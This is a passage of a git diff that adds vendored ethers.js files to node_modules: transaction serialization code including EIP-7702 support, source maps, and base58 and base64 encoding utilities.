"maxFeePerGas"), + gasPrice: null, + gasLimit: handleUint(fields[4], "gasLimit"), + to: handleAddress(fields[5]), + value: handleUint(fields[6], "value"), + data: (0, index_js_3.hexlify)(fields[7]), + accessList: handleAccessList(fields[8], "accessList"), + authorizationList: handleAuthorizationList(fields[9], "authorizationList"), + }; + // Unsigned EIP-7702 Transaction + if (fields.length === 10) { + return tx; + } + _parseEipSignature(tx, fields.slice(10)); + return tx; +} +function _serializeEip7702(tx, sig) { + const fields = [ + formatNumber(tx.chainId, "chainId"), + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), + formatNumber(tx.maxFeePerGas || 0, "maxFeePerGas"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || "0x"), + formatNumber(tx.value, "value"), + tx.data, + formatAccessList(tx.accessList || []), + formatAuthorizationList(tx.authorizationList || []) + ]; + if (sig) { + fields.push(formatNumber(sig.yParity, "yParity")); + fields.push((0, index_js_3.toBeArray)(sig.r)); + fields.push((0, index_js_3.toBeArray)(sig.s)); + } + return (0, index_js_3.concat)(["0x04", (0, index_js_3.encodeRlp)(fields)]); +} +/** + * A **Transaction** describes an operation to be executed on + * Ethereum by an Externally Owned Account (EOA). It includes + * who (the [[to]] address), what (the [[data]]) and how much (the + * [[value]] in ether) the operation should entail. + * + * @example: + * tx = new Transaction() + * //_result: + * + * tx.data = "0x1234"; + * //_result: + */ +class Transaction { + #type; + #to; + #data; + #nonce; + #gasLimit; + #gasPrice; + #maxPriorityFeePerGas; + #maxFeePerGas; + #value; + #chainId; + #sig; + #accessList; + #maxFeePerBlobGas; + #blobVersionedHashes; + #kzg; + #blobs; + #auths; + /** + * The transaction type. + * + * If null, the type will be automatically inferred based on + * explicit properties. + */ + get type() { return this.#type; } + set type(value) { + switch (value) { + case null: + this.#type = null; + break; + case 0: + case "legacy": + this.#type = 0; + break; + case 1: + case "berlin": + case "eip-2930": + this.#type = 1; + break; + case 2: + case "london": + case "eip-1559": + this.#type = 2; + break; + case 3: + case "cancun": + case "eip-4844": + this.#type = 3; + break; + case 4: + case "pectra": + case "eip-7702": + this.#type = 4; + break; + default: + (0, index_js_3.assertArgument)(false, "unsupported transaction type", "type", value); + } + } + /** + * The name of the transaction type. + */ + get typeName() { + switch (this.type) { + case 0: return "legacy"; + case 1: return "eip-2930"; + case 2: return "eip-1559"; + case 3: return "eip-4844"; + case 4: return "eip-7702"; + } + return null; + } + /** + * The ``to`` address for the transaction or ``null`` if the + * transaction is an ``init`` transaction. + */ + get to() { + const value = this.#to; + if (value == null && this.type === 3) { + return addresses_js_1.ZeroAddress; + } + return value; + } + set to(value) { + this.#to = (value == null) ? null : (0, index_js_1.getAddress)(value); + } + /** + * The transaction nonce. + */ + get nonce() { return this.#nonce; } + set nonce(value) { this.#nonce = (0, index_js_3.getNumber)(value, "value"); } + /** + * The gas limit. + */ + get gasLimit() { return this.#gasLimit; } + set gasLimit(value) { this.#gasLimit = (0, index_js_3.getBigInt)(value); } + /** + * The gas price. + * + * On legacy networks this defines the fee that will be paid. On + * EIP-1559 networks, this should be ``null``. + */ + get gasPrice() { + const value = this.#gasPrice; + if (value == null && (this.type === 0 || this.type === 1)) { + return BN_0; + } + return value; + } + set gasPrice(value) { + this.#gasPrice = (value == null) ? null : (0, index_js_3.getBigInt)(value, "gasPrice"); + } + /** + * The maximum priority fee per unit of gas to pay. On legacy + * networks this should be ``null``. + */ + get maxPriorityFeePerGas() { + const value = this.#maxPriorityFeePerGas; + if (value == null) { + if (this.type === 2 || this.type === 3) { + return BN_0; + } + return null; + } + return value; + } + set maxPriorityFeePerGas(value) { + this.#maxPriorityFeePerGas = (value == null) ? null : (0, index_js_3.getBigInt)(value, "maxPriorityFeePerGas"); + } + /** + * The maximum total fee per unit of gas to pay. On legacy + * networks this should be ``null``. + */ + get maxFeePerGas() { + const value = this.#maxFeePerGas; + if (value == null) { + if (this.type === 2 || this.type === 3) { + return BN_0; + } + return null; + } + return value; + } + set maxFeePerGas(value) { + this.#maxFeePerGas = (value == null) ? null : (0, index_js_3.getBigInt)(value, "maxFeePerGas"); + } + /** + * The transaction data. For ``init`` transactions this is the + * deployment code. + */ + get data() { return this.#data; } + set data(value) { this.#data = (0, index_js_3.hexlify)(value); } + /** + * The amount of ether (in wei) to send in this transactions. + */ + get value() { return this.#value; } + set value(value) { + this.#value = (0, index_js_3.getBigInt)(value, "value"); + } + /** + * The chain ID this transaction is valid on. + */ + get chainId() { return this.#chainId; } + set chainId(value) { this.#chainId = (0, index_js_3.getBigInt)(value); } + /** + * If signed, the signature for this transaction. + */ + get signature() { return this.#sig || null; } + set signature(value) { + this.#sig = (value == null) ? null : index_js_2.Signature.from(value); + } + /** + * The access list. + * + * An access list permits discounted (but pre-paid) access to + * bytecode and state variable access within contract execution. + */ + get accessList() { + const value = this.#accessList || null; + if (value == null) { + if (this.type === 1 || this.type === 2 || this.type === 3) { + // @TODO: in v7, this should assign the value or become + // a live object itself, otherwise mutation is inconsistent + return []; + } + return null; + } + return value; + } + set accessList(value) { + this.#accessList = (value == null) ? null : (0, accesslist_js_1.accessListify)(value); + } + get authorizationList() { + const value = this.#auths || null; + if (value == null) { + if (this.type === 4) { + // @TODO: in v7, this should become a live object itself, + // otherwise mutation is inconsistent + return []; + } + } + return value; + } + set authorizationList(auths) { + this.#auths = (auths == null) ? null : auths.map((a) => (0, authorization_js_1.authorizationify)(a)); + } + /** + * The max fee per blob gas for Cancun transactions. + */ + get maxFeePerBlobGas() { + const value = this.#maxFeePerBlobGas; + if (value == null && this.type === 3) { + return BN_0; + } + return value; + } + set maxFeePerBlobGas(value) { + this.#maxFeePerBlobGas = (value == null) ? null : (0, index_js_3.getBigInt)(value, "maxFeePerBlobGas"); + } + /** + * The BLOb versioned hashes for Cancun transactions. + */ + get blobVersionedHashes() { + // @TODO: Mutation is inconsistent; if unset, the returned value + // cannot mutate the object, if set it can + let value = this.#blobVersionedHashes; + if (value == null && this.type === 3) { + return []; + } + return value; + } + set blobVersionedHashes(value) { + if (value != null) { + (0, index_js_3.assertArgument)(Array.isArray(value), "blobVersionedHashes must be an Array", "value", value); + value = value.slice(); + for (let i = 0; i < value.length; i++) { + (0, index_js_3.assertArgument)((0, index_js_3.isHexString)(value[i], 32), "invalid blobVersionedHash", `value[${i}]`, value[i]); + } + } + this.#blobVersionedHashes = value; + } + /** + * The BLObs for the Transaction, if any. + * + * If ``blobs`` is non-``null``, then the [[seriailized]] + * will return the network formatted sidecar, otherwise it + * will return the standard [[link-eip-2718]] payload. The + * [[unsignedSerialized]] is unaffected regardless. + * + * When setting ``blobs``, either fully valid [[Blob]] objects + * may be specified (i.e. correctly padded, with correct + * committments and proofs) or a raw [[BytesLike]] may + * be provided. + * + * If raw [[BytesLike]] are provided, the [[kzg]] property **must** + * be already set. The blob will be correctly padded and the + * [[KzgLibrary]] will be used to compute the committment and + * proof for the blob. + * + * A BLOb is a sequence of field elements, each of which must + * be within the BLS field modulo, so some additional processing + * may be required to encode arbitrary data to ensure each 32 byte + * field is within the valid range. + * + * Setting this automatically populates [[blobVersionedHashes]], + * overwriting any existing values. Setting this to ``null`` + * does **not** remove the [[blobVersionedHashes]], leaving them + * present. + */ + get blobs() { + if (this.#blobs == null) { + return null; + } + return this.#blobs.map((b) => Object.assign({}, b)); + } + set blobs(_blobs) { + if (_blobs == null) { + this.#blobs = null; + return; + } + const blobs = []; + const versionedHashes = []; + for (let i = 0; i < _blobs.length; i++) { + const blob = _blobs[i]; + if ((0, index_js_3.isBytesLike)(blob)) { + (0, index_js_3.assert)(this.#kzg, "adding a raw blob requires a KZG library", "UNSUPPORTED_OPERATION", { + operation: "set blobs()" + }); + let data = (0, index_js_3.getBytes)(blob); + (0, index_js_3.assertArgument)(data.length <= BLOB_SIZE, "blob is too large", `blobs[${i}]`, blob); + // Pad blob if necessary + if (data.length !== BLOB_SIZE) { + const padded = new Uint8Array(BLOB_SIZE); + padded.set(data); + data = padded; + } + const commit = this.#kzg.blobToKzgCommitment(data); + const proof = (0, index_js_3.hexlify)(this.#kzg.computeBlobKzgProof(data, commit)); + blobs.push({ + data: (0, index_js_3.hexlify)(data), + commitment: (0, index_js_3.hexlify)(commit), + proof + }); + versionedHashes.push(getVersionedHash(1, commit)); + } + else { + const commit = (0, index_js_3.hexlify)(blob.commitment); + blobs.push({ + data: (0, index_js_3.hexlify)(blob.data), + commitment: commit, + proof: (0, index_js_3.hexlify)(blob.proof) + }); + versionedHashes.push(getVersionedHash(1, commit)); + } + } + this.#blobs = blobs; + this.#blobVersionedHashes = versionedHashes; + } + get kzg() { return this.#kzg; } + set kzg(kzg) { + if (kzg == null) { + this.#kzg = null; + } + else { + this.#kzg = getKzgLibrary(kzg); + } + } + /** + * Creates a new Transaction with default values. + */ + constructor() { + this.#type = null; + this.#to = null; + this.#nonce = 0; + this.#gasLimit = BN_0; + this.#gasPrice = null; + this.#maxPriorityFeePerGas = null; + this.#maxFeePerGas = null; + this.#data = "0x"; + this.#value = BN_0; + this.#chainId = BN_0; + this.#sig = null; + this.#accessList = null; + this.#maxFeePerBlobGas = null; + this.#blobVersionedHashes = null; + this.#kzg = null; + this.#blobs = null; + this.#auths = null; + } + /** + * The transaction hash, if signed. Otherwise, ``null``. + */ + get hash() { + if (this.signature == null) { + return null; + } + return (0, index_js_2.keccak256)(this.#getSerialized(true, false)); + } + /** + * The pre-image hash of this transaction. + * + * This is the digest that a [[Signer]] must sign to authorize + * this transaction. + */ + get unsignedHash() { + return (0, index_js_2.keccak256)(this.unsignedSerialized); + } + /** + * The sending address, if signed. Otherwise, ``null``. + */ + get from() { + if (this.signature == null) { + return null; + } + return (0, address_js_1.recoverAddress)(this.unsignedHash, this.signature); + } + /** + * The public key of the sender, if signed. Otherwise, ``null``. + */ + get fromPublicKey() { + if (this.signature == null) { + return null; + } + return index_js_2.SigningKey.recoverPublicKey(this.unsignedHash, this.signature); + } + /** + * Returns true if signed. + * + * This provides a Type Guard that properties requiring a signed + * transaction are non-null. + */ + isSigned() { + return this.signature != null; + } + #getSerialized(signed, sidecar) { + (0, index_js_3.assert)(!signed || this.signature != null, "cannot serialize unsigned transaction; maybe you meant .unsignedSerialized", "UNSUPPORTED_OPERATION", { operation: ".serialized" }); + const sig = signed ? this.signature : null; + switch (this.inferType()) { + case 0: + return _serializeLegacy(this, sig); + case 1: + return _serializeEip2930(this, sig); + case 2: + return _serializeEip1559(this, sig); + case 3: + return _serializeEip4844(this, sig, sidecar ? this.blobs : null); + case 4: + return _serializeEip7702(this, sig); + } + (0, index_js_3.assert)(false, "unsupported transaction type", "UNSUPPORTED_OPERATION", { operation: ".serialized" }); + } + /** + * The serialized transaction. + * + * This throws if the transaction is unsigned. For the pre-image, + * use [[unsignedSerialized]]. + */ + get serialized() { + return this.#getSerialized(true, true); + } + /** + * The transaction pre-image. + * + * The hash of this is the digest which needs to be signed to + * authorize this transaction. + */ + get unsignedSerialized() { + return this.#getSerialized(false, false); + } + /** + * Return the most "likely" type; currently the highest + * supported transaction type. + */ + inferType() { + const types = this.inferTypes(); + // Prefer London (EIP-1559) over Cancun (BLOb) + if (types.indexOf(2) >= 0) { + return 2; + } + // Return the highest inferred type + return (types.pop()); + } + /** + * Validates the explicit properties and returns a list of compatible + * transaction types. + */ + inferTypes() { + // Checks that there are no conflicting properties set + const hasGasPrice = this.gasPrice != null; + const hasFee = (this.maxFeePerGas != null || this.maxPriorityFeePerGas != null); + const hasAccessList = (this.accessList != null); + const hasBlob = (this.#maxFeePerBlobGas != null || this.#blobVersionedHashes); + //if (hasGasPrice && hasFee) { + // throw new Error("transaction cannot have gasPrice and maxFeePerGas"); + //} + if (this.maxFeePerGas != null && this.maxPriorityFeePerGas != null) { + (0, index_js_3.assert)(this.maxFeePerGas >= this.maxPriorityFeePerGas, "priorityFee cannot be more than maxFee", "BAD_DATA", { value: this }); + } + //if (this.type === 2 && hasGasPrice) { + // throw new Error("eip-1559 transaction cannot have gasPrice"); + //} + (0, index_js_3.assert)(!hasFee || (this.type !== 0 && this.type !== 1), "transaction type cannot have maxFeePerGas or maxPriorityFeePerGas", "BAD_DATA", { value: this }); + (0, index_js_3.assert)(this.type !== 0 || !hasAccessList, "legacy transaction cannot have accessList", "BAD_DATA", { value: this }); + const types = []; + // Explicit type + if (this.type != null) { + types.push(this.type); + } + else { + if (this.authorizationList && this.authorizationList.length) { + types.push(4); + } + else if (hasFee) { + types.push(2); + } + else if (hasGasPrice) { + types.push(1); + if (!hasAccessList) { + types.push(0); + } + } + else if (hasAccessList) { + types.push(1); + types.push(2); + } + else if (hasBlob && this.to) { + types.push(3); + } + else { + types.push(0); + types.push(1); + types.push(2); + types.push(3); + } + } + types.sort(); + return types; + } + /** + * Returns true if this transaction is a legacy transaction (i.e. + * ``type === 0``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isLegacy() { + return (this.type === 0); + } + /** + * Returns true if this transaction is berlin hardform transaction (i.e. + * ``type === 1``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isBerlin() { + return (this.type === 1); + } + /** + * Returns true if this transaction is london hardform transaction (i.e. + * ``type === 2``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isLondon() { + return (this.type === 2); + } + /** + * Returns true if this transaction is an [[link-eip-4844]] BLOB + * transaction. + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isCancun() { + return (this.type === 3); + } + /** + * Create a copy of this transaciton. + */ + clone() { + return Transaction.from(this); + } + /** + * Return a JSON-friendly object. + */ + toJSON() { + const s = (v) => { + if (v == null) { + return null; + } + return v.toString(); + }; + return { + type: this.type, + to: this.to, + // from: this.from, + data: this.data, + nonce: this.nonce, + gasLimit: s(this.gasLimit), + gasPrice: s(this.gasPrice), + maxPriorityFeePerGas: s(this.maxPriorityFeePerGas), + maxFeePerGas: s(this.maxFeePerGas), + value: s(this.value), + chainId: s(this.chainId), + sig: this.signature ? this.signature.toJSON() : null, + accessList: this.accessList + }; + } + /** + * Create a **Transaction** from a serialized transaction or a + * Transaction-like object. + */ + static from(tx) { + if (tx == null) { + return new Transaction(); + } + if (typeof (tx) === "string") { + const payload = (0, index_js_3.getBytes)(tx); + if (payload[0] >= 0x7f) { // @TODO: > vs >= ?? + return Transaction.from(_parseLegacy(payload)); + } + switch (payload[0]) { + case 1: return Transaction.from(_parseEip2930(payload)); + case 2: return Transaction.from(_parseEip1559(payload)); + case 3: return Transaction.from(_parseEip4844(payload)); + case 4: return Transaction.from(_parseEip7702(payload)); + } + (0, index_js_3.assert)(false, "unsupported transaction type", "UNSUPPORTED_OPERATION", { operation: "from" }); + } + const result = new Transaction(); + if (tx.type != null) { + result.type = tx.type; + } + if (tx.to != null) { + result.to = tx.to; + } + if (tx.nonce != null) { + result.nonce = tx.nonce; + } + if (tx.gasLimit != null) { + result.gasLimit = tx.gasLimit; + } + if (tx.gasPrice != null) { + result.gasPrice = tx.gasPrice; + } + if (tx.maxPriorityFeePerGas != null) { + result.maxPriorityFeePerGas = tx.maxPriorityFeePerGas; + } + if (tx.maxFeePerGas != null) { + result.maxFeePerGas = tx.maxFeePerGas; + } + if (tx.maxFeePerBlobGas != null) { + result.maxFeePerBlobGas = tx.maxFeePerBlobGas; + } + if (tx.data != null) { + result.data = tx.data; + } + if (tx.value != null) { + result.value = tx.value; + } + if (tx.chainId != null) { + result.chainId = tx.chainId; + } + if (tx.signature != null) { + result.signature = index_js_2.Signature.from(tx.signature); + } + if (tx.accessList != null) { + result.accessList = tx.accessList; + } + if (tx.authorizationList != null) { + result.authorizationList = tx.authorizationList; + } + // This will get overwritten by blobs, if present + if (tx.blobVersionedHashes != null) { + result.blobVersionedHashes = tx.blobVersionedHashes; + } + // Make sure we assign the kzg before assigning blobs, which + // require the library in the event raw blob data is provided. + if (tx.kzg != null) { + result.kzg = tx.kzg; + } + if (tx.blobs != null) { + result.blobs = tx.blobs; + } + if (tx.hash != null) { + (0, index_js_3.assertArgument)(result.isSigned(), "unsigned transaction cannot define '.hash'", "tx", tx); + (0, index_js_3.assertArgument)(result.hash === tx.hash, "hash mismatch", "tx", tx); + } + if (tx.from != null) { + (0, index_js_3.assertArgument)(result.isSigned(), "unsigned transaction cannot define '.from'", "tx", tx); + (0, index_js_3.assertArgument)(result.from.toLowerCase() === (tx.from || "").toLowerCase(), "from mismatch", "tx", tx); + } + return result; + } +} +exports.Transaction = Transaction; +//# sourceMappingURL=transaction.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/transaction/transaction.js.map b/node_modules/ethers/lib.commonjs/transaction/transaction.js.map new file mode 100644 index 000000000000..2d7339a45eaa --- /dev/null +++ b/node_modules/ethers/lib.commonjs/transaction/transaction.js.map @@ -0,0 +1 @@ +{"version":3,"file":"transaction.js","sourceRoot":"","sources":["../../src.ts/transaction/transaction.ts"],"names":[],"mappings":";;;AACA,kDAAiD;AACjD,4DAAwD;AACxD,iDAE4B;AAC5B,gDAG2B;AAE3B,mDAAgD;AAChD,yDAAsD;AACtD,6CAA8C;AAU9C,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,KAAK,GAAG,MAAM,CAAC,EAAE,CAAC,CAAA;AACxB,MAAM,KAAK,GAAG,MAAM,CAAC,EAAE,CAAC,CAAA;AACxB,MAAM,KAAK,GAAG,MAAM,CAAC,EAAE,CAAC,CAAC;AACzB,MAAM,WAAW,GAAG,MAAM,CAAC,oEAAoE,CAAC,CAAC;AAEjG,MAAM,SAAS,GAAG,IAAI,GAAG,EAAE,CAAC;AAoK5B,SAAS,aAAa,CAAC,GAAmB;IAEtC,MAAM,mBAAmB,GAAG,CAAC,IAAgB,EAAE,EAAE;QAE7C,IAAI,kBAAkB,IAA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,EAAE,EAAE,eAAe,EAAE,IAAI,EAAE,EAAE,CAAC,CAAC;SAC1G;QAED,OAAO,MAAM,CAAC;IAClB,CAAC;CACJ;AAxoBD,kCAwoBC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/base58.d.ts b/node_modules/ethers/lib.commonjs/utils/base58.d.ts new file mode 100644 index 000000000000..8b377936b405 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/base58.d.ts @@ -0,0 +1,23 @@ +/** + * The [Base58 Encoding](link-base58) scheme allows a **numeric** value + * to be encoded as a compact string using a radix of 58 using only + * alpha-numeric characters. Confusingly similar characters are omitted + * (i.e. ``"l0O"``). + * + * Note that Base58 encodes a **numeric** value, not arbitrary bytes, + * since any zero-bytes on the left would get removed. To mitigate this + * issue most schemes that use Base58 choose specific high-order values + * to ensure non-zero prefixes. + * + * @_subsection: api/utils:Base58 Encoding [about-base58] + */ +import type { BytesLike } from "./index.js"; +/** + * Encode %%value%% as a Base58-encoded string. + */ +export declare function encodeBase58(_value: BytesLike): string; +/** + * Decode the Base58-encoded %%value%%. + */ +export declare function decodeBase58(value: string): bigint; +//# sourceMappingURL=base58.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/base58.d.ts.map b/node_modules/ethers/lib.commonjs/utils/base58.d.ts.map new file mode 100644 index 000000000000..a20c81671cc9 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/base58.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"base58.d.ts","sourceRoot":"","sources":["../../src.ts/utils/base58.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;GAYG;AAMH,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,YAAY,CAAC;AAsB5C;;GAEG;AACH,wBAAgB,YAAY,CAAC,MAAM,EAAE,SAAS,GAAG,MAAM,CAiBtD;AAED;;GAEG;AACH,wBAAgB,YAAY,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM,CAOlD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/base58.js b/node_modules/ethers/lib.commonjs/utils/base58.js new file mode 100644 index 000000000000..fa62d341b0c2 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/base58.js @@ -0,0 +1,68 @@ +"use strict"; +/** + * The [Base58 Encoding](link-base58) scheme allows a **numeric** value + * to be encoded as a compact string using a radix of 58 using only + * alpha-numeric characters. Confusingly similar characters are omitted + * (i.e. ``"l0O"``). + * + * Note that Base58 encodes a **numeric** value, not arbitrary bytes, + * since any zero-bytes on the left would get removed. To mitigate this + * issue most schemes that use Base58 choose specific high-order values + * to ensure non-zero prefixes. + * + * @_subsection: api/utils:Base58 Encoding [about-base58] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.decodeBase58 = exports.encodeBase58 = void 0; +const data_js_1 = require("./data.js"); +const errors_js_1 = require("./errors.js"); +const maths_js_1 = require("./maths.js"); +const Alphabet = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; +let Lookup = null; +function getAlpha(letter) { + if (Lookup == null) { + Lookup = {}; + for (let i = 0; i < Alphabet.length; i++) { + Lookup[Alphabet[i]] = BigInt(i); + } + } + const result = Lookup[letter]; + (0, errors_js_1.assertArgument)(result != null, `invalid base58 value`, "letter", letter); + return result; +} +const BN_0 = BigInt(0); +const BN_58 = BigInt(58); +/** + * Encode %%value%% as a Base58-encoded string. + */ +function encodeBase58(_value) { + const bytes = (0, data_js_1.getBytes)(_value); + let value = (0, maths_js_1.toBigInt)(bytes); + let result = ""; + while (value) { + result = Alphabet[Number(value % BN_58)] + result; + value /= BN_58; + } + // Account for leading padding zeros + for (let i = 0; i < bytes.length; i++) { + if (bytes[i]) { + break; + } + result = Alphabet[0] + result; + } + return result; +} +exports.encodeBase58 = encodeBase58; +/** + * Decode the Base58-encoded %%value%%. + */ +function decodeBase58(value) { + let result = BN_0; + for (let i = 0; i < value.length; i++) { + result *= BN_58; + result += getAlpha(value[i]); + } + return result; +} +exports.decodeBase58 = decodeBase58; +//# sourceMappingURL=base58.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/base58.js.map b/node_modules/ethers/lib.commonjs/utils/base58.js.map new file mode 100644 index 000000000000..2059bff7e71d --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/base58.js.map @@ -0,0 +1 @@ +{"version":3,"file":"base58.js","sourceRoot":"","sources":["../../src.ts/utils/base58.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;GAYG;;;AAEH,uCAAqC;AACrC,2CAA6C;AAC7C,yCAAsC;AAKtC,MAAM,QAAQ,GAAG,4DAA4D,CAAC;AAC9E,IAAI,MAAM,GAAkC,IAAI,CAAC;AAEjD,SAAS,QAAQ,CAAC,MAAc;IAC5B,IAAI,MAAM,IAAI,IAAI,EAAE;QAChB,MAAM,GAAG,EAAG,CAAC;QACb,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,QAAQ,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;YACtC,MAAM,CAAC,QAAQ,CAAC,CAAC,CAAC,CAAC,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;SACnC;KACJ;IACD,MAAM,MAAM,GAAG,MAAM,CAAC,MAAM,CAAC,CAAC;IAC9B,IAAA,0BAAc,EAAC,MAAM,IAAI,IAAI,EAAE,sBAAsB,EAAE,QAAQ,EAAE,MAAM,CAAC,CAAC;IACzE,OAAO,MAAM,CAAC;AAClB,CAAC;AAGD,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,KAAK,GAAG,MAAM,CAAC,EAAE,CAAC,CAAC;AAEzB;;GAEG;AACH,SAAgB,YAAY,CAAC,MAAiB;IAC1C,MAAM,KAAK,GAAG,IAAA,kBAAQ,EAAC,MAAM,CAAC,CAAC;IAE/B,IAAI,KAAK,GAAG,IAAA,mBAAQ,EAAC,KAAK,CAAC,CAAC;IAC5B,IAAI,MAAM,GAAG,EAAE,CAAC;IAChB,OAAO,KAAK,EAAE;QACV,MAAM,GAAG,QAAQ,CAAC,MAAM,CAAC,KAAK,GAAG,KAAK,CAAC,CAAC,GAAG,MAAM,CAAC;QAClD,KAAK,IAAI,KAAK,CAAC;KAClB;IAED,oCAAoC;IACpC,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,KAAK,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;QACnC,IAAI,KAAK,CAAC,CAAC,CAAC,EAAE;YAAE,MAAM;SAAE;QACxB,MAAM,GAAG,QAAQ,CAAC,CAAC,CAAC,GAAG,MAAM,CAAC;KACjC;IAED,OAAO,MAAM,CAAC;AAClB,CAAC;AAjBD,oCAiBC;AAED;;GAEG;AACH,SAAgB,YAAY,CAAC,KAAa;IACtC,IAAI,MAAM,GAAG,IAAI,CAAC;IAClB,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,KAAK,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;QACnC,MAAM,IAAI,KAAK,CAAC;QAChB,MAAM,IAAI,QAAQ,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC;KAChC;IACD,OAAO,MAAM,CAAC;AAClB,CAAC;AAPD,oCAOC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/base64-browser.d.ts b/node_modules/ethers/lib.commonjs/utils/base64-browser.d.ts new file mode 100644 index 000000000000..ea96c442ca74 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/base64-browser.d.ts @@ -0,0 +1,4 @@ +import type { BytesLike } from "./data.js"; +export declare function decodeBase64(textData: string): Uint8Array; +export declare function encodeBase64(_data: BytesLike): string; +//# sourceMappingURL=base64-browser.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/base64-browser.d.ts.map b/node_modules/ethers/lib.commonjs/utils/base64-browser.d.ts.map new file mode 100644 index 000000000000..0adb8e7b63db --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/base64-browser.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"base64-browser.d.ts","sourceRoot":"","sources":["../../src.ts/utils/base64-browser.ts"],"names":[],"mappings":"AAKA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,WAAW,CAAC;AAG3C,wBAAgB,YAAY,CAAC,QAAQ,EAAE,MAAM,GAAG,UAAU,CAOzD;AAED,wBAAgB,YAAY,CAAC,KAAK,EAAE,SAAS,GAAG,MAAM,CAOrD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/base64-browser.js b/node_modules/ethers/lib.commonjs/utils/base64-browser.js new file mode 100644 index 000000000000..ecab4a50a1ab --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/base64-browser.js @@ -0,0 +1,24 @@ +"use strict"; +// utils/base64-browser +Object.defineProperty(exports, "__esModule", { value: true }); +exports.encodeBase64 = exports.decodeBase64 = void 0; +const data_js_1 = require("./data.js"); +function decodeBase64(textData) { + textData = atob(textData); + const data = new Uint8Array(textData.length); + for (let i = 0; i < textData.length; i++) { + data[i] = textData.charCodeAt(i); + } + return (0, data_js_1.getBytes)(data); +} +exports.decodeBase64 = decodeBase64; +function encodeBase64(_data) { + const data = (0, data_js_1.getBytes)(_data); + let textData = ""; + for (let i = 0; i < data.length; i++) { + textData += String.fromCharCode(data[i]); + } + return btoa(textData); +} +exports.encodeBase64 = encodeBase64; +//# sourceMappingURL=base64-browser.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/base64-browser.js.map b/node_modules/ethers/lib.commonjs/utils/base64-browser.js.map new file mode 100644 index 000000000000..a5ae72a9a3f9 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/base64-browser.js.map @@ -0,0 +1 @@ +{"version":3,"file":"base64-browser.js","sourceRoot":"","sources":["../../src.ts/utils/base64-browser.ts"],"names":[],"mappings":";AACA,uBAAuB;;;AAEvB,uCAAqC;AAKrC,SAAgB,YAAY,CAAC,QAAgB;IACzC,QAAQ,GAAG,IAAI,CAAC,QAAQ,CAAC,CAAC;IAC1B,MAAM,IAAI,GAAG,IAAI,UAAU,CAAC,QAAQ,CAAC,MAAM,CAAC,CAAC;IAC7C,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,QAAQ,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;QACtC,IAAI,CAAC,CAAC,CAAC,GAAG,QAAQ,CAAC,UAAU,CAAC,CAAC,CAAC,CAAC;KACpC;IACD,OAAO,IAAA,kBAAQ,EAAC,IAAI,CAAC,CAAC;AAC1B,CAAC;AAPD,oCAOC;AAED,SAAgB,YAAY,CAAC,KAAgB;IACzC,MAAM,IAAI,GAAG,IAAA,kBAAQ,EAAC,KAAK,CAAC,CAAC;IAC7B,IAAI,QAAQ,GAAG,EAAE,CAAC;IAClB,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,IAAI,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;QAClC,QAAQ,IAAI,MAAM,CAAC,YAAY,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,CAAC;KAC5C;IACD,OAAO,IAAI,CAAC,QAAQ,CAAC,CAAC;AAC1B,CAAC;AAPD,oCAOC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/base64.d.ts b/node_modules/ethers/lib.commonjs/utils/base64.d.ts new file mode 100644 index 000000000000..0cab53288914 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/base64.d.ts @@ -0,0 +1,40 @@ +import type { BytesLike } from "./data.js"; +/** + * Decodes the base-64 encoded %%value%%. + * + * @example: + * // The decoded value is always binary data... + * result = 